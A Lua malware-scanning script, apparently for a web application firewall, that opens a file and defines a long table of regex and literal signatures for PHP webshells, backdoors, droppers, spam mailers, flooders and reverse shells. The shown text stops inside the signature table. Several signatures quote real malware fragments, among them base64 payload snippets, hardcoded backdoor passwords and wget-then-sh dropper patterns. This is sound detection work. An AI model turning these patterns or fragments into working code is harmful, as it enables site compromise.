function main(filename)
local ERR = 1
-- regex compile flags, REG_EXTENDED|REG_NEWLINE
local COMPILE_FLAGS = 5
local ret, f, data, rex
f = io.open(filename, "rb")
if (not f) then
m.log(ERR, "Could not open " .. tostring(filename))
return
end
local regex_signatures = {
{ signature = [=[eval[(][[:space:]]*stripslashes[(][[:space:]]*[^\$]*\$_(POST|GET)]=], id = "6d462d44023cd074fb0eab99cacbcb2136c7b082", comment = "eval post or get variables" },
{ signature = [=[exec.?.?.?[(][[:space:]]*['"]/bin/(su|(ba|a)?sh)['"]]=], id = "aeec3d1f041a5c13f1d2808e2929776d59546abc", comment = "backdoor: eval and calls to su" },
{ signature = [=[sendraw[[:blank:]]*[(]?.*PRIVMSG]=], id = "a37721c817cdd34c3ebf1f8d18721de187899bb6", comment = "ircbot: privmsg match" },
{ signature = [=[[O0]\+=urldecode]=], id = "313ec62189d81ad6bc6fc19c22a2f5adc9884736", comment = "Re-seed" },
{ signature = [=[assert[(][[:blank:]]*\$_(POST|GET)[\[]]=], id = "c6e621b6afeacdc13adf8cd1f320dd118685b99f", comment = "some variation on evals from globals" },
{ signature = [=[eval[(][[:blank:]]*getenv[(][^)]*[)]*;]=], id = "e0bec013a5dbd4a04d817710fb7594034f72e230", comment = "some variation on evals from globals" },
{ signature = [=[system[[:blank:]]*[(]?['\"](adduser|gcc|g\+\+|passwd)]=], id = "d2719f9b714a3063c55ef4e7783d3ef95e1a87f7", comment = "system() calls to compiler/system utils" },
{ signature = [=[if[[:blank:]]*[(][[:blank:]]*isset[[:blank:]]*[(][[:blank:]]*([$]_[^]]+).*?[eE][vV][aA][lL][[:blank:]]*[(][^)]*\1]=], id = "c34daa838ac9219843c10ab591cb74c77620b85f", comment = "if global values is set, eval it\!" },
{ signature = [=[\W+system[(][^$;]*[$]_(GET|POST)]=], id = "7fa8933a372644321b73082c8ad663a2972fe9c6", comment = "execute commands from POST or GET" },
{ signature = [=[fsockopen[(][[:blank:]]*["'](udp|tcp)://[$](0|o|O)+["'][[:blank:]]*,[[:blank:]]*[$]rand[[:blank:]]*,[[:blank:]]*[$]errno[[:blank:]]*,[[:blank:]]*[$]errstr[[:blank:]]*]=], id = "10fafaf4a5859f4ca9d020a0a2ed721f457f506e", comment = "flooding script, where most variables are some combinations of o, O, and 0." },
{ signature = [=[([$][^ ]+)[[:blank:]]*=[[:blank:]]*["']a["'][[:blank:]]*.[[:blank:]]*["']s["'][[:blank:]]*.[[:blank:]]*["']s["'][[:blank:]]*.[[:blank:]]*["']e["'][[:blank:]]*.[[:blank:]]*["']r["'][[:blank:]]*.[[:blank:]]*["']t["'][[:blank:]]*;[[:blank:]]*\1[(][$]_(POST|GET)]=], id = "7a6f3340253e506f906e233297a80dfc72b81c5f", comment = "obfu assert assigned to a variable, and then called as a fnct on POST or GET." },
{ signature = [=[^\W*[@]?(system|shell_exec|passthru|exec)[(][[:blank:]]*["'](wget|curl|fetch)[^;]+;[[:blank:]]*perl]=], id = "f28344188eb78dc56d441b0ac50e8f3345dbb3e3", comment = "dropper script to fetch and exec" },
{ signature = [=[function[[:blank:]]*[[:alnum:]]*[(][$][[:alnum:]]*,[[:blank:]]*([$][[:alnum:]]+)[^{]*[{][^{]*[{][^=]*=[[:blank:]]*isset[(]\1]=], id = "faf7cfeb4f057c673d8e40cfcbc15d093f040ff0", comment = "looks like a mailer bot that has been obfu-ed" },
{ signature = [=['#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',]=], id = "429d6c5525f049bfde72d0a3b61d9fcd7c7c2093", comment = "Found in scripts that are used for bouncing folks to various webpages" },
{ signature = [=[([$][[:alnum:]]+)[[:blank:]]*=[^$]+[$]_(GET|POST)[^;]*;.*mail[(][[:blank:]]*stripslashes[(][[:blank:]]*\1]=], id = "258baf97ec9ddab09d1a38b79fe5970c47438d32", comment = "calls to php's mail, strip slashes or one-liners" },
{ signature = [=[[<][?]php[^=]*=[[:blank:]]*mail[(]([[:blank:]]*[$]_(GET|POST)[^,]+,[[:blank:]]*){3}[$]_(GET|POST)[^;]+;[[:blank:]]*(if[(])?]=], id = "cf5d440324606ec94732a0ec25f2aa42bb024f21", comment = "calls to php's mail, strip slashes or one-liners" },
{ signature = [=[[<][?]php[^=]*=[[:blank:]]*mail[(]([[:blank:]]*stripslashes[(][$]_(GET|POST)[^,]+,[[:blank:]]*){2}stripslashes[(][$]_(POST|GET)]=], id = "13b3e740aef068360cf8e447a522351da99b610c", comment = "calls to php's mail, strip slashes or one-liners" },
{ signature = [=[eval[(]eval[(]"[\][$]_[[:alnum:]]{8,} = [\]x[[:digit:]]{2}]=], id = "c6b1c230aaadd3e64bd6eea055c781be4a581f8c", comment = "obfuscated code" },
{ signature = [=[@preg_replace[(]['"]/[^/]+/e["']]=], id = "f34fd4d2dc30fe8da591fbc1bbfc58f6c46174a9", comment = "backdoors and evals" },
{ signature = [=[if[(][[:blank:]]*isset[[:blank:]]*[(][[:blank:]]*([^)]*)[[:blank:]]*[)][[:blank:]]*[)][[:blank:]]*[{][[:blank:]]*[eE][vV][aA][lL][[:blank:]]*[(][[:blank:]]*\1]=], id = "b2bea76b6d50c1a076102003c4938804edf19b8d", comment = "backdoors and evals" },
{ signature = [=[eval[[:blank:]]*[(][[:blank:]]*[$][[:alnum:]]{4,9}[[:blank:]]*[[][[:blank:]]*[$]GLOBALS[[:blank:]]*[[][[:blank:]]*['"][[:blank:]]*[[:alnum:]]{4,9}['"][[:blank:]]*[]][[][[:blank:]]*[[:digit:]]+[[:blank:]]*[]][[:blank:]]*[]][[:blank:]]*[)]]=], id = "676bd6e7e9c1f89e3f9e49071baa72432b1ac53a", comment = "backdoors and evals" },
{ signature = [=[([$][^=]+)=[[:blank:]]*strtolower[^;]+;[[:blank:]]*([$][^=]+)=[$][{]strtoupper[^;]+;[[:blank:]]*[^{]+[{]eval[(]\1[(]\2]=], id = "744890ea369f9edb5cac5a93d38b5d5c87c4f6b2", comment = "backdoors and evals" },
{ signature = [=[INSERT INTO [`]["'][.][$]table_pref[.]["']users[`][^@]+@wpwhitesecurity.com]=], id = "e55aa6ec95a327a5a8e91cf1edca448f6ce15a50", comment = "Script used to inject admin account in WordPress" },
{ signature = [=[^[[:blank:]]+[$][^[:blank:]]+[[:blank:]]*[(][[:blank:]]*["']/([^/]+)/e["'][[:blank:]]*,[[:blank:]]*[$][^[:blank:]]+[[:blank:]]*,[[:blank:]]*\1]=], id = "bf77fdac89ae70aaf7a4b7f93d0b4b42a13dfe32", comment = "Create a php class with a constructor that appears to call preg_replace /e" },
{ signature = [=[preg_replace[[:space:]]*[(][[:space:]]*['"](\\x?[[:alnum:]]{2,3}){4}]=], id = "d2b517902820b22f9c2d4c67ade04137d0d83424", comment = "preg_replace with hex" },
{ signature = [=[[$]GLOBALS[[]["'][a-z0-9]{7}["'][]][[:blank:]]*=[[:blank:]]*([$][^]]+)[[][[:digit:]]+[]][[:blank:]]*[.][[:blank:]]*(\1[[][[:digit:]]+[]][[:blank:]]*[.][[:blank:]]*){10}]=], id = "aba295fbf98e1db2f95f107fa688a1c6b4cacfb4", comment = "obfuscated backdoor" },
{ signature = [=[^\/\/fwrite[(][$]fp,["']\\xEF\\xBB\\xBF["'][.]iconv[(]'gbk','utf-8//IGNORE',[$]body[)][)];[[:space:]]*$]=], id = "42b31bede827b47475ebb24c61635ff6b486ee3d", comment = "backdoor script that does file writing" },
{ signature = [=[([$][[:alpha:]_][[:alnum:]_]*)[[:blank:]]*=[[:blank:]]*['"][^'"]{1000,}['"][[:blank:]]*;[[:blank:]]*(eval|base64_decode|gzuncompress|str_rot13)[[:blank:]]*[(][^$]+\1]=], id = "3e8f35ad3140a74532e23ac5357a3b5890bd99e2", comment = "eval of a previously declared variable whose value is a large string" },
{ signature = [=[([$][[:alpha:]_][[:alnum:]_]*)[[:space:]]*=[[:space:]]*base64_decode[[:space:]]*[(]['"][^;]+;[[:space:]]*eval[[:space:]]*[(][[:space:]]*\1]=], id = "1aa54495225016bb56ef78438d9314bdc8983a51", comment = "eval of a previously declared base64_decoded variable" },
{ signature = [=[([$][{]['"]([GgLlOoBbAaSs]|(\\x)?[[:alnum:]]{2,3}){6}['"][}])\[['"]((\\x)?[[:alnum:]]{2,3}|[[:alnum:]]){5,}['"]\][[:space:]]*=[[:space:]]*['"]((\\x)?[[:alnum:]]{2,3}|[[:alnum:]])+['"]]=], id = "198198445d434aee34869ff80dd78be018202be0", comment = "set obfuscated GLOBALS array as hex-encoded values" },
{ signature = [=[([$][[:alpha:]_][[:alnum:]_]*)[[:blank:]]*=[[:blank:]]*["'](\\x?[[:alnum:]]{2,3}){6}[^;]+[[:blank:]]*;[[:blank:]]*@?eval[[:blank:]]*[(][[:blank:]]*\1]=], id = "df5198a3f3b43a7d47ffa08ae98bfda3aef3bdee", comment = "eval'd PHP variable whose value is a hex-encoded string - FOPO obfuscator" },
{ signature = [=[([$][[:alpha:]_][[:alnum:]_]*)[[:blank:]]*=[[:blank:]]*['"][^'"]+['"][[:blank:]]*;[[:blank:]]*([$][[:alpha:]_][[:alnum:]_]*)[[:blank:]]*=[[:blank:]]*(\1\[[[:digit:]]{1,3}\][[:blank:]]*[.]?[[:blank:]]*){3}]=], id = "d257dcc2d96acaab99d73490612ca9a97041d9dd", comment = "PHP variable built using concatenated integer-indexed string splicing" },
{ signature = [=[if[[:blank:]]*[(][[:blank:]]*isset[[:blank:]]*[(][[:blank:]]*([^)]+)[^$]+([$][[:alpha:]_][[:alnum:]_]+)[[:blank:]]*=[[:blank:]]*(base64_decode[[:blank:]]*[(][[:blank:]]*)?\1[^eE]+[eE][vV][aA][lL][[:blank:]]*[(][[:blank:]]*[^)]*\2]=], id = "3d44ebcc53a6244ee0c84de4013da7f52888b1cc", comment = "PHP variable is checked with isset(), reassigned, and then eval'd" },
{ signature = [=[symlink[(]['"]/home[[:digit:]]*/['"][.][$]user[.]['"]/public_html]=], id = "1c2668807e08a4dbc940d360427d608552875760", comment = "php backdoor" },
{ signature = [=[^([(]'[[:punct:]]'[|^&]'[[:punct:]]'[)][.]){10}]=], id = "a145b2109975e69e819264e9f12710a3dbfd6bf8", comment = "perl obfuscated dropper" },
{ signature = [=[str_rot13[[:blank:]]*[(][[:blank:]]*['"]*riny]=], id = "c88c05b07643e45f18da14ea601590c04a337d2f", comment = "obfuscated eval" },
{ signature = [=[[[:blank:]]*['"][[:blank:]]*[.][[:blank:]]*\1]=], id = "9dadb14fcba03b74f01bfbb61a3caecd11812287", comment = "obfuscated eval globals" },
{ signature = [=[https?:[/][/]9iaajn.net[/][?]a=]=], id = "3c16283bc0e029e8f082e5975bc98bc9df10764f", comment = "blackhatSEO related" },
{ signature = [=[<[?]php ([$][[:alpha:]]+) = [$]_REQUEST[[]['"][[:alpha:]]+['"][]]; eval[(]base64_decode[(]\1[)][)][;] [?]>]=], id = "1ad13fe8ba05577cb63a559e09ca4b6cfaa3edf9", comment = "eval globals" },
{ signature = [=[[$]tik=array[(]"[a-z0-9]{2,3}"=>]=], id = "893ca1f99a6fccf69c7c8e9c497a58ccc9a08163", comment = "eval globals" },
{ signature = [=[^@?([$][[:alnum:]_][[:alnum:]]*)=((\/\*[^\\]*\*\/|['"][asert]['"]|\1)[.]?){4}]=], id = "7d2ad4530437ee53adcb25939d678243459096c3", comment = "obfuscated assert decocoded globals" },
{ signature = [=[wget http://[[:digit:]]{1,3}[.][[:digit:]]{1,3}[.][[:digit:]]{1,3}[.][[:digit:]]{1,3}/([^[:blank:]]+)[^;]+;[^;]+; sh \1]=], id = "ba13703a618fc9cd77e29b25c540d2633a897e30", comment = "python script for scanning and exploiting/hopping" },
{ signature = [=[open[^,]+,[[:space:]]*['"]<(['"][^,]*[^'"]*['"])?/etc/passwd]=], id = "1f99aed273a04bcdf2c1f9f9dd36202f4b2bf589", comment = "attempted access of sensitive files" },
{ signature = [=[include[[:space:]]*['"](\\x?[[:alnum:]]{2,3}|/){5}]=], id = "76b111d5152c611c01b8b3087eaf52564d98cf98", comment = "spam mailer script" },
{ signature = [=[^#[[:blank:]]*synSpoofFlood]=], id = "233cd4eda55be5a0accbc19b428a6a8e3e17bf24", comment = "syn flooding script" },
{ signature = [=[^[$][[:alpha:]]{3}=["']_(\\x[[:alnum:]]{2}){6,}[^{]+[{]([$][[:alpha:]]+)[[:blank:]]*=[$][[:alpha:]]+[(]['"]{2},[$][[:alpha:]]{2}[(][$][[:alpha:]]{2}[)][)];\2[(][)];[}]$]=], id = "2a546b0441041619f0cb0a5c33555222b7ad7416", comment = "eval obfuscated globals" },
{ signature = [=[^[[:blank:]]*file_put_contents[(]['"][^'"]+['"], base64_decode[(][$]_(POST|GET|REQUEST)[[]['"][[:alpha:]]+['"][]][)], LOCK_EX[)];]=], id = "9049ac9ea3fe8977a2c2cfa6c5474d4f457626f7", comment = "file dropper" },
{ signature = [=[([$][[:alpha:]]+)=\1[(][$]_(POST|GET)[^)]+[)];file_put_contents[(](['"][[:alpha:]]+["']),['"]<[?]php ["'].\1[)];include[(]\3[)];]=], id = "4fe720386617da42d1fee02927463965ef230c07", comment = "include from global" },
{ signature = [=[^[$][[:alnum:]_]+[[:blank:]]*=[[:blank:]]*["']\\x7f\\x45\\x4c\\x46]=], id = "630ee5ba84913e2b49e0a6c749fb81089368bb6a", comment = "LD_PRELOAD exploit related. Magic 'ELF' string in PHP." },
{ signature = [=[^[[:blank:]]*([$][[:alnum:]]+)[[:blank:]]*=[[:blank:]]*([$][[:alnum:]]+)[(][$][[:alpha:]]+[[][[:alpha:]]+[]][)];[$][[:alnum:]]+[[:blank:]]*=[[:blank:]]*\2[(][$][[:alpha:]]+[[][[:alpha:]]+[]][)];([$][[:alnum:]]+)[[:blank:]]*=[[:blank:]]*\1[^;]+;\3[()]{2};
]=], id = "2832aa1fb33a2d3eb3e1c457b454d82cfe13f087", comment = "Eval cookie values" },
{ signature = [=[^[[:blank:]]*([$][[:alnum:]]+)[[:blank:]]*=[[:blank:]]*([$][[:alnum:]]+)[(][$][[:alpha:]]+[[][[:alpha:]]+[]][)];[$][[:alnum:]]+[[:blank:]]*=[[:blank:]]*\2[(][$][[:alpha:]]+[[][[:alpha:]]+[]][)];([$][[:alnum:]]+)[[:blank:]]*=[[:blank:]]*\1[^;]+;\3[()]{2};
]=], id = "2832aa1fb33a2d3eb3e1c457b454d82cfe13f087", comment = "Eval cookie values" },
{ signature = [=[^<[?]php @?array_diff_ukey[(][^,]+,[^,]+,[$]_(REQUEST|POST|GET)]=], id = "dd693ea4a6d12bc568c0d1e11897d644d8844c00", comment = "evals globals" },
{ signature = [=[[$](0|O)+[[:blank:]]*=[[:blank:]]*urldecode[(]['"]%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64["'][)];]=], id = "a4efa3ee399d1ab731376abc10efa74fb8a8ca33", comment = "obfuscated backdoor code, matching on url-encoded assert/base64decode" },
{ signature = [=[^preg_replace[(]['"]\/\/e['"],(["'][eval]{1,2}([(][$][[:alpha:]]+[)])?["'][.]?)+]=], id = "4e23c14b02d0241729101dcee3037ad2ec27dc12", comment = "preg-replacing double eval, obfuscated backdoor. file manager, etc" },
{ signature = [=[^<[?]php[[:blank:]]*function xsd_conventer[(][$][[:alnum:]]+,[[:blank:]]*[$][[:alnum:]]+([[:blank:]]*=[[:blank:]]*['']{2}[[:blank:]]*)?[)]]=], id = "291e522e6b7234567638a0a55e89647c85d8afc0", comment = "CPR7709.Webshell" },
{ signature = [=[file_put_contents[(]["'][^'"]+['"][[:blank:]]*,[[:blank:]]*base64_encode[(]json_encode[(][$][[:alpha:]]+[)]{2}[[:blank:]]*[.][[:blank:]]*["]\\n["],[[:blank:]]*FILE_APPEND[)];]=], id = "06f9bab9dd591b1b8867d082cb1ea837895d5a94", comment = "CPR9E4A.Webshell" },
{ signature = [=[array_map[[:blank:]]*[(][[:blank:]]*['"]base64_decode['"][[:blank:]]*.[[:blank:]]*unserialize[[:blank:]]*[(]]=], id = "acbdbaa1fc5a3b6a0cfb1a150d664ed5692d7314", comment = "php.spam-seo.dbload.001" },
{ signature = [=[if[[:blank:]]*[(][[:blank:]]*isset[[:blank:]]*[(][[:blank:]]*[$][{][[:blank:]]*([$][[:alnum:]]+)[[:blank:]]*[}][[:blank:]]*[[][[:blank:]]*['\"]([^'\"]+)['\"][[:blank:]]*[]][[:blank:]]*[)][[:blank:]]*[)][[:blank:]]*[{][[:blank:]]*eval[[:blank:]]*[(][[:blank:]]*([$][[:alnum:]]+[[:blank:]]*[(])?[[:blank:]]*[$][{][[:blank:]]*\1[[:blank:]]*[}][[:blank:]]*[[[][[:blank:]]*['\"]\2['\"][[:blank:]]*[]]]=], id = "04c830fc586483807c00d07ab528e296a0a156e4", comment = "PHP Mini shell" },
{ signature = [=[if[(]!function_exists[(]["']([A-Z0-9]+)['"][)][)][{]function \1[(]([$][A-Z0-9]+)[)][{]\2=base64_decode[(]\2[)];[^;]+;[^;]+;[^;]+;[$][A-Z0-9]+=[(]ord[(]\2]=], id = "8a43fc73952722dcb1bbf350436ac188ea32aa2d", comment = "PHP backdoor, global eval" },
{ signature = [=[if[[:blank:]]*[(][[:blank:]]*!empty[[:blank:]]*[(][[:blank:]]*[$]GLOBALS([[]['"][[:alnum:]]+['"][]][[]['"][[:alnum:]]+['"][]])[)][)][[:blank:]]*[{][[:blank:]]*eval[(][$]GLOBALS\1[)];[[:blank:]]*[}]]=], id = "8276df33607fc278253f16ee5de820d534924a86", comment = "check and eval globals" },
{ signature = [=[if[[[:blank:]]*[(][[[:blank:]]*@?copy[[[:blank:]]*[(][[[:blank:]]*[$]_FILES\[['"][[:alnum:]]+['"]\]\[['"]tmp_name['"]\][[[:blank:]]*,[[[:blank:]]*[$]_FILES\[['"][[:alnum:]]+['"]\]\[['"]name['"]\][[[:blank:]]*[)]]=], id = "d5a2f1e8d8e39902ec8a75beca6e946fb6611546", comment = "file dropper" },
{ signature = [=[extract[(][$]_(COOKIE|GET|POST|REQUEST)[)];@([$][[:alnum:]]+)&&@\2[(]]=], id = "acad86e760c8fdcf3e9bba8e5399af4119dc227a", comment = "Extract to symbol table and call new functions" },
{ signature = [=[^[[:blank:]]+[$](0|o|O){4,}=urldecode[(]['"][%[:alnum:]]+['"][)];[$](0|o|O){4,}[[:blank:]]*=[[:blank:]]*[$](0|o|O){4,}[[{][0-9][]}][.][$](0|o|O){4,}[{[][0-9][]}][.]]=], id = "e41eba991e78feab4410ad0f1b8cf19838d5ccd6", comment = "Obfuscated backdoor - common 0O pattern" },
{ signature = [=[^[[:blank:]]*eval[[:blank:]]*[(][[:blank:]]*[$]_POST[[:blank:]]*[[][[:blank:]]*["']wp-load["'][[:blank:]]*[]][)];$]=], id = "b1ac8d9e90ed8f95cb6464617c030f28f77be66c", comment = "injected eval globals - WP related" },
{ signature = [=[header[(]'Location: https://[^/]+/wp-content/plugins/]=], id = "d5457c82c496e29205069b06fa63a0a044a24ce0", comment = "Header redirect to WP plugin location" },
{ signature = [=[[$][[:alpha:]][[:alnum:]_]*[[:blank:]]*[(][[:blank:]]*[[:alnum:]=+,.(/\\'"-]{1000}]=], id = "37cba995b7db50d92b04486f675a5dac0df95be5", comment = "obfuscated function calls" },
{ signature = [=[^[$][[:alnum:]]{2,3} = [$][[:alnum:]]{2,3}[[:blank:]]*[(][[:blank:]]*['"]{2,3},[[:blank:]]*[$][[:alnum:]]{2,3}[(][[:blank:]]*[$][[:alnum:]]{2,3}[(][[:blank:]]*array[(][$][[:alnum:]]{2,3}[{][0-9]{1,2}[}],[[:blank:]]*['"][\\]n['"]]=], id = "d661743fbff3fbe14a841a68e4a5e96c8f2f1b87", comment = "FileMan" },
{ signature = [=[[$][a-z0-9]{4,9}[[]['][[:alnum:]]{4,9}['][]][[][0-9]{1,2}[]]{2}as[$][a-z][a-z0-9]{3,8}=>[$][a-z]]=], id = "c29d93936567535a4c9e3a8a66544f838472c0c1", comment = "Obfuscated Base64 injection Shell" },
{ signature = [=[[$][[:alnum:]]{2,3}\s[=]\s["][\\]x63[\\]x68[\\]x72["][;]\s[$][[:alnum:]]{2,3}\s[=]\s["][\\]x69[\\]x6e[\\]x74[\\]x76[\\]x61[\\]x6c["][;]]=], id = "54464e39aa332df6b41fed458772965fa3332721", comment = "Obfuscated Malvertising Pivot" },
{ signature = [=[base64_decode[(][$]shellololol[)]{2}[;]]=], id = "92974cad1d8b48f15e5abfbbad2d5f840f824a26", comment = "Shellololol" },
{ signature = [=[[$][A-Z][a-z_]{2,5}=@gzinflate[(]strrev[(][$][A-Z][a-z_]{2,5}[)]{2}[;]]=], id = "f86b8e1658b10dbeaaaa1a18e48e0fc5d3129467", comment = "Obfuscated Shell" },
{ signature = [=[es_data[[:space:]]=[[:space:]]['][a-zA-Z0-9%+]{10000,}]=], id = "7be0826c2fa5dd6a39a0b0414d6ca40eb517089f", comment = "wp_kses_data Base64 Obfuscated Shell" },
{ signature = [=[[$]strings2[(][$]gbz[.]]=], id = "3db616e22ee752e3179d68045148bea4a2732e36", comment = "rot13 base64 encoded shell" },
{ signature = [=[$xred=base64_decode]=], id = "b2af13a3c163cbbd96874f78cf0afce01254836b", comment = "BlackHat SEO files" },
{ signature = [=[curl_exec[(][$]_[0-9]{3,}[)];]=], id = "c6e762aa02fb719f5a4d1a9c9e3f6e821552af9c", comment = "Curl_EXEC on $_ var" },
{ signature = [=[[<]?php[[:space:]]eval[(]gzuncompress[(]["]x]=], id = "3a0b037b2c288e28ed3038a2e582a5287e100bfa", comment = "Chinese PharmaHack Injector" },
{ signature = [=[<[?]php.*if.*isset[(][$].*(REQUEST|COOKIE)([[]|"}[[])('|")[a-zA-Z]{3,6}.*exit;(}|\/)]=], id = "4d0ae6972d3dc3acea930d188d2ef0624e768c2f", comment = "1 line injector" },
{ signature = [=[='str'.'_rot'.'1'.'3';]=], id = "02171ccf463a00a60a8c7fec2f4bee010129b308", comment = "ROT-13 obfuscation" },
{ signature = [=[rename[(]['|"][a-z-]{3,10}.php.suspected]=], id = "a4946f236afcddb2416f581fb897234fe9a669a8", comment = ".suspected malware re-infector" },
{ signature = [=[[$][a-z]{4,13}[ ]=[ ]stripslashes[(]base64_decode[(][$]_POST[[]'[a-z]{4,13}]=], id = "bc7b44fef9ed1f4d77d2106c4b8272fedc92fb24", comment = "Base64 Decoding" },
{ signature = [=[]=], id = "ee64f6b3bf9deddb83ae5fc373f443e661c83ce5", comment = "Antonkill Mailer & Defacements" },
{ signature = [=[\$d\('',\s+\$f\(\s+\$s\(\s+"c",\s+"",\s+\$m\)]=], id = "fcacfb71177208d1ae52d2e0afc441141c29a637", comment = "injected PHP SPAM" },
{ signature = [=[strlen[(][$][a-z]{5,10}[)]{2}[;]exit[();}]{6}]=], id = "c81d023975a49fb4d4264badb60dc1f4f2fc5e5a", comment = "Obfuscated Shell strlen 5-10var then exit" },
{ signature = [=[( for [(][$])(\w{5}) = 0[;] [$]\2 < strlen[(][$]\w{5}[)][;][)] [{]\1]=], id = "32d416ad42e9cceb2b8f0037578514f749f5cff7", comment = "obfuscated shell" },
{ signature = [=[[(]'n('[.]')+o\1+i\1+t\1+c\1+n\1+u\1+f\1+_]=], id = "d34b36a3fd8164026e2aa19ecf476e4ac1768c19", comment = "obfuscated reverse create_function" },
{ signature = [=[error_reporting[(]0[)]; [@eval(bs64_dco]{19}]=], id = "8c44e4ec499f3005ca17acad605b2354ff9099c0", comment = "error_reporting(0); eval(base64_decode variants" },
{ signature = [=[[$][[:alnum:]]{2,3} = str_replace[(]"([[:alnum:]])", "", "(s|s\1|\1s)(t|t\1|\1t)(r\1|\1r|r)]=], id = "fa83518ac2756a21e4a1f2f1bac601089cb3f07b", comment = "Matches string replacements in $var = str_replace" },
{ signature = [=[<[?]php\sgoto\s[[:alnum:]]{5}[;]]=], id = "2a47a34ea2fcc3f7dfabd3a971a4609038198cb9", comment = "obfuscated mini shell" },
{ signature = [=[([$][a-z]{5,7}[[][0-9]{1,2}[]][.]){7,}]=], id = "81a0baea84ff031c2900551ba06e8046dfb0bad9", comment = "obfuscated shell with $xxxxx[10].$xxxxx[23] pattern" },
{ signature = [=[[$][trs]{3,4} = @file_get_contents[(][$]text_file[)]]=], id = "d22b28f81b86546258733296b600502763e2a9c5", comment = "file_get_contents based backdoor loader commonly appended to bottom of theme/pulgin files" },
}
local flat_signatures = {
{ signature = [=[$dec = mcrypt_decrypt(MCRYPT_DES, substr($k, 0, $keysize), $enc, MCRYPT_MODE_CBC, $iv);]=], id = "29ab518a3634a6fd5d834270381d83f5867db91a", comment = "decryption portion of backdoor, rest is too generic" },
{ signature = [=[if(mail($MailTo,$MessageSubject,$MessageBody,$MessageHeader))]=], id = "4a4f133b5ebfc9869dc704cbb91091fbf106e131", comment = "spammy php mailer" },
{ signature = [=[7X1rcxs5kuBnd0T/B7ia3STHfMpv0ZQt62G7bUtqS7bbLSkYRVa]=], id = "dfeab70252f74e86aaf48d12609c70cd01af035d", comment = "encoded backdoor" },
{ signature = [=[exit(eval(base64_decode(file_get_contents]=], id = "8b9f9ac969a1d377ffc87febf885272819cf59b1", comment = "eval base64 encoded stdin" },
{ signature = [=[lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0]=], id = "2d743f3393470931c09b5f65a8251ee3f49eeafb", comment = "base64 C reverse shell" },
{ signature = [=[uc97xyIkF3dXX1Xl1dizcsr7mTWXxdLnVP9o7f]=], id = "dfaa72696789b000c11ee8ecda29bb0d6a51c8fb", comment = "preg_replace backdoor" },
{ signature = [=[f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQ]=], id = "0ce796f173f0494efd08b7b8750547faa46051ef", comment = "encoded backdoor" },
{ signature = [=[Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center]=], id = "057165203b502f93b453e9f54c41ad38da1869cf", comment = "reverse shell indicator" },
{ signature = [=[LyoNCiAqIE15U1FMIFdlYiBJbnRlcmZhY2Ug]=], id = "f49a01e00eb3cb4a57ed272e97295f2c2811d896", comment = "encoded backdoor" },
{ signature = [=[if($_GET['code']){$code=hexToStr($_GET['code']);]=], id = "8174a6443f27e1a684a29870c3e7891b2fc8158d", comment = "simple php auth eval" },
{ signature = [=[eval (gzinflate(base64_decode(str_rot13(]=], id = "91774ccf93a0b82334ffeeb0a64a101fbf1d5b6f", comment = "malicious obfuscation" },
{ signature = [=[eval(gzinflate(str_rot13(base64_decode(]=], id = "637f6f0710ff55fd4998ec6421c29601436f4cd5", comment = "malicious obfuscation" },
{ signature = [=[86a20c1b92a2d831b50ba9d62e18ed86]=], id = "4a8f151f10152bc4f30cc05344e239ec772eea9e", comment = "backdoor comment indicator" },
{ signature = [=[function actionFilesMan()]=], id = "029c09184dff3269f865dc49e2818a3b03062f4f", comment = "common backdoor pattern" },
{ signature = [=[back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj]=], id = "7b225a50994ce5da98e030279813543e31f61754", comment = "perl backdoor" },
{ signature = [=[f2c4890bba2ca9344b100b86962825af]=], id = "961c64ca9dacfa79b41143f970ae68ca249ab023", comment = "backdoor auth credentials" },
{ signature = [=[Hacker BoUnCeR's Private Mailer]=], id = "04ed8f337a29e353074769cac0a2e544d712a775", comment = "shell script indicator" },
{ signature = [=[makemnfast.com]=], id = "d22a65f64264c97a51aa4ec2915f9dad2ab2a43a", comment = "Re-seed" },
{ signature = [=[dXJsZW5jb2Rl]=], id = "540c74da7e28045b8f6a0e4cf1f5618be65ef58c", comment = "Backdoor Shell" },
{ signature = [=[Y3VybF9pbml0]=], id = "1621c8dc3e56dd005c8d7057fadae8520d73dace", comment = "PharmaSpam Injector" },
{ signature = [=[mail(stripslashes($YYKJKaSZ), stripslashes($hoWGI), stripslashes($pxxTkEDQO));]=], id = "e64fc9890931e5be4eb7ee7d966aa3ee813b0b2e", comment = "flat strings found in common mailer bots" },
{ signature = [=[$result = mail(stripslashes($strr1), stripslashes($strr2), stripslashes($strr3));]=], id = "17e1b3fda09c7c262d1596bc199d638dd4f5f39e", comment = "calls to php's mail" },
{ signature = [=[$words_idx=array_rand($words,rand($min,$max));]=], id = "385e84ad14b21861128c3e6a42de2bc5e7426c7a", comment = "Scripts generating spam for SEO" },
{ signature = [=[if($password!="5fobohlovr6v")]=], id = "abe342cea5188f0dcf73737c4924496d65266f65", comment = "file dropper" },
{ signature = [=[$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d); ?>]=], id = "68b025f273b51da1a8f11ea52c3700895d498697", comment = "obfuscated code" },
{ signature = [=[global$auth;function sh_decrypt_phase($data,$key)]=], id = "f36fe60efbf3013b65c6dd68b73bd7bc3da7f554", comment = "obfuscated code" },
{ signature = [=[RmlsZXNNYW4=]=], id = "d1c102c644d0aa845e2ef478493f8fc3fba3f9b8", comment = "filesman" },
{ signature = [=[\x73\x74\x72\x69\x70\x73\x6C\x61\x73\x68\x65\x73]=], id = "cdcf333032e7aecd199980897f1c93dddcedf9fa", comment = "hex encoded base64_decode, rot13, etc." },
{ signature = [=[\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x5F\x50\x4F\x53\x54]=], id = "2a5cae7263c33bb093643a33ea02e9d98aaf11b8", comment = "hex encoded base64_decode, rot13, etc." },
{ signature = [=[\x73\x74\x72\x5f\x72\x6f\x74\x31\x33]=], id = "e80635dc06aa165d30f4fa882c9763643a848717", comment = "hex encoded base64_decode, rot13, etc." },
